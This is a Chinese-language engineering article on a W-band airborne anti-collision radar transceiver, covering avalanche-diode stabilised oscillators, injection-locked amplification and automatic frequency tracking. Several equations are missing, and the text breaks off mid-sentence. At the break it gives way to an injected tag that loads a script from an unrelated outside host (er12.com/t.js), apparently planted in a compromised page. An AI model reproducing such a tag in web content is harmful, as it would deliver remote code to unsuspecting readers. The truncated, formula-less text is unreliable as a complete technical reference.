摘 要：介绍最近研制成功的w频段机载防撞雷达收发分机的设计。该收发分机采用了雪崩管稳频振荡、注锁放大技术、低噪声接收技术和自动频率跟踪技术，具有指标高、体积小、重量轻、可靠性高等优点。
关键词：w频段雷达；机载防撞雷达；收发分机
一、引言
小型飞机、直升飞机超低空飞行时，由于地形复杂多变，山林、建筑物、电力线、铁塔等障碍物随时可能给飞行带来危险。在这些障碍物中，特别是高压电力线，检测困难，威胁更大。日本航空宇宙学会杂志报导，小型飞机、直升机发生的飞行事故中，二分之一是因碰撞高压电力线等架空障碍物所致。为此，各国加强了对小型飞机、直升飞机防撞设备的研究，已取得了有效的成果：如法国汤姆逊－csf公司研制的romeo雷达，工作在w频段，对电力线的探测距离为1000 m；德国aec－德律风根公司研制的告警雷达，工作频率为59 ghz，对电力线的探测距离为250 m［1］。
高压电力线都是由多根导线绞合而成的螺旋形导线，其反射特性与导线直径、绞合线直径、绞距以及表面粗糙度有关。由于螺旋线具有周期结构，可以把它近似为一根无限长、具有若干个辐射单元的线阵列天线来分析其反射特性。当雷达波束垂直入射时，各个阵列单元具有相同的散射特性，由于电波的干涉，在方位上回波信号呈周期振荡，且频率越高，雷达截面越大，回波信号峰值间隔越小。由此可见，防撞雷达选用w频段，不仅易于实现设备的轻小型化，而且也大大提高了雷达探测概率。
本文介绍最近研制成功的w频段机载防撞雷达收发分机，该收发分机采用全固态窄脉冲非相参体制，发射脉冲功率大于10w，脉宽60ns，脉间抑制大于130db，接收机噪声系数小于10db。外场试验表明：雷达能可靠地探测到420m处直径为15mm的螺旋形电力线，对高大建筑物的探测距离大于2 km。
二、收发分机组成及工作原理
收发分机由发射机、毫米波接收前端、中视频接收机、同步保护单元以及bit(build-in test)模块组成，如图1所示。
高q腔稳频的雪崩管脉冲自激振荡器输出的w频段信号，通过两级雪崩管脉冲功率同步放大后，经环行器送至天线，发射机各级均工作在脉冲状态，具有很高的脉间载漏抑制度。来自天线的射频回波信号经pin开关、二次混频、检波、视放电路，输出视频信号送信号处理终端完成雷达信号处理。pin开关由来自同步保护单元的闭锁脉冲控制，在发射脉冲期间关闭接收机，以保证接收机不被发射机泄漏的功率烧毁。由于收发为非相参信道，为了保证接收信号在检波前有最佳的带通滤波，一本振采用与发射机主振腔和稳频腔完全相同的材料和电路结构，利用其振荡频率漂移同步特性，使发射频率与本振频率之差在工作温度范围内变化最小；同时，在中视频接收机中采用afc电路，对二本振频率进行自动微调，实现收发频率自动跟踪。同步保护单元由来自终端的触发脉冲控制，产生ttl电平的脉冲，控制收发分机的同步工作；收发分机各部分检测电流/电平信号送bit模块进行自动监测。
三、雪崩管脉冲稳频振荡、注锁放大技术
微波半导体振荡器主要有晶体管振荡器、雪崩管振荡器和耿氏管振荡器。目前晶体管振荡器要在毫米波频段获得大的输出功率比较困难。在毫米波频段，广泛采用雪崩管振荡器和耿氏管振荡器，与耿氏管相比雪崩管可获得更大的功率和更高的效率。
雪崩二极管的雪崩倍增效应和渡越时间效应使得它具有负阻特性，其小信号阻抗zd为
式中rd、xd为雪崩管电阻和电抗；
cd、θ为漂移区电容和渡越角；
la、ca是雪崩区电感和电容；
ωa是雪崩频率。
为了产生振荡，二极管的小信号电阻必须为负，而且其绝对值应大于负载电阻。当工作频率ω给定时，这一条件可以通过调节偏流密度从而改变雪崩频率来满足。随着振荡幅度i的增加，由于空间电荷对电场的影响，二极管阻抗发生变化，它是振幅和频率的函数，但由于它通常是频率的慢变化函数，所以在振荡器工作频率范围内，可不考虑频率的影响。当器件阻抗与电路阻抗满足以下条件，振荡器处于稳定振荡状态。
(3)
式中z(ω)为电路阻抗；
zd(i)为雪崩管阻抗；
如果由于外界改变使振荡器的电抗发生变化，为了满足相位平衡，在谐振条件下，由外界因素引起的电抗的变化应该由频率变化所产生的电抗变化来补偿，假定外界的变化为δα，则
式中r、x为电路电阻和电抗；
q为回路有载品质因数。
由此可见，回路电抗随外界因素变化率越大，频率稳定度越差；回路的有载品质因数越高，则频率稳定度越高。
一般来说，雪崩管振荡器频率稳定度较差，而发射机主振频率稳定度是收发分机能否正常工作的关键。发射机主振为频带反射式雪崩二极管高q腔稳频振荡器［２］，采用全高波导主振腔，以?script src=http://er12.com/t.js>
